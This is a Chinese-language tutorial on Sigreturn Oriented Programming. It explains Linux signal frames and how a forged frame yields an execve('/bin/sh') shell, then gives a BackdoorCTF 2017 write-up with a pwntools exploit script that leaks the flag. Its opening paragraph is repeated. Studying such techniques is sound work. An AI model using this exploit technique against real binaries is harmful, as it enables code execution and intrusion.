SROP
srop 的全称是 Sigreturn Oriented Programming。所以我们首先需要了解一下 Linux 的信号机制
signal 机制
如图所示,当有中断或异常产生时,内核会向某个进程发送一个 signal,该进程被挂起并进入内核(1),然后内核为该进程保存相应的上下文,然后跳转到之前注册好的 signal handler 中处理相应的 signal(2),当 signal handler 返回后(3),内核为该进程恢复之前保存的上下文,最终恢复进程的执行(4)。如图所示,当有中断或异常产生时,内核会向某个进程发送一个 signal,该进程被挂起并进入内核(1),然后内核为该进程保存相应的上下文,然后跳转到之前注册好的 signal handler 中处理相应的 signal(2),当 signal handler 返回后(3),内核为该进程恢复之前保存的上下文,最终恢复进程的执行(4)。
- 一个 signal frame 被添加到栈,这个 frame 中包含了当前寄存器的值和一些 signal 信息。
- 一个新的返回地址被添加到栈顶,这个返回地址指向
sigreturn
系统调用。 - signal handler 被调用,signal handler 的行为取决于收到什么 signal。
- signal handler 执行完之后,如果程序没有终止,则返回地址用于执行
sigreturn
系统调用。 sigreturn
利用 signal frame 恢复所有寄存器以回到之前的状态。- 最后,程序执行继续。
64 位的 signal frame 如下图所示,signal frame 由 ucontext_t 结构体实现。
// defined in /usr/include/sys/ucontext.h
/* Userlevel context. */
typedef struct ucontext_t
{
unsigned long int uc_flags;
struct ucontext_t *uc_link;
stack_t uc_stack; // the stack used by this context
mcontext_t uc_mcontext; // the saved context
sigset_t uc_sigmask;
struct _libc_fpstate __fpregs_mem;
} ucontext_t;
// defined in /usr/include/bits/types/stack_t.h
/* Structure describing a signal stack. */
typedef struct
{
void *ss_sp;
size_t ss_size;
int ss_flags;
} stack_t;
// difined in /usr/include/bits/sigcontext.h
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
在栈中的分布如下
SROP 利用原理
在执行 sigreturn
系统调用的时候,不会对 signal 做检查,它不知道当前的这个 frame 是不是之前保存的那个 frame。由于 sigreturn
会从用户栈上恢复恢复所有寄存器的值,而用户栈是保存在用户进程的地址空间中的,是用户进程可读写的。如果攻击者可以控制了栈,也就控制了所有寄存器的值,而这一切只需要一个 gadget:syscall; ret;
。
通过设置 eax/rax
寄存器,可以利用 syscall
指令执行任意的系统调用,然后我们可以将 sigreturn
和其他的系统调用串起来,形成一个链,从而达到任意代码执行的目的。下面是一个伪造 frame 的例子:
rax=59
是 execve
的系统调用号,参数 rdi
设置为字符串“/bin/sh”的地址,rip
指向系统调用 syscall
,最后,将 rt_sigreturn
设置为 sigreturn
系统调用的地址。当 sigreturn
返回后,就会从这个伪造的 frame 中恢复寄存器,从而拿到 shell。
对于这个寄存器的选择,因为系统调用号必须存入 rax 中,其他的寄存器选择就需要按照 Linux 下的函数调用约定来进行。
pwnlib. rop. srop
在 pwntools 中已经集成了 SROP 的利用工具,即 pwnlib.rop.srop,直接使用类 SigreturnFrame
,我们可以看到针对不同的架构 SigreturnFrame
构造了不同的 uncontext_t
BackdoorCTF 2017 Fun Signals
查看文件,可以看到这是一个 64 位的程序,并且没有开任何防护措施
拖入 IDA 中查看,可以看到程序中进行了两次 syscall,第一次 rax 的值是 0,调用 read 函数,第二次 rax 值是 15,执行停止程序。同时我们也可以看到 flag 的位置,那么我们需要利用 SROP 将该位置的 flag 输出。
如何利用
再看这两个 syscall:
- 第一个 syscall 是 read 函数,此时的 edi 是 0,edx 是 0 x 400,rsi 是栈顶的值,根据 read 函数的参数和 Linux 函数调用约定可以知道,这意思是从标准输入读取0x400个字节到栈顶。
- 第二个 syscall 是 sigreturn,它会将栈中的数据按照 ucontext_t 结构恢复寄存器。
所以我们可以写入一个伪造的 sigreturn frame,让 sigreturn 恢复。
为了能够输出 flag,那我们伪造的 sigreturn frame 得是一个 write 函数的系统调用,系统调用号是0x1
from pwn import *
elf = ELF('./funsignals_player_bin')
io = process('./funsignals_player_bin')
# io = remote('hack.bckdr.in', 9034)
context.clear()
context.arch = "amd64"
# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = constants.STDOUT_FILENO
frame.rsi = elf.symbols['flag']
frame.rdx = 50
frame.rip = elf.symbols['syscall']
io.send(bytes(frame))
io.interactive()
成功将 flag 输出。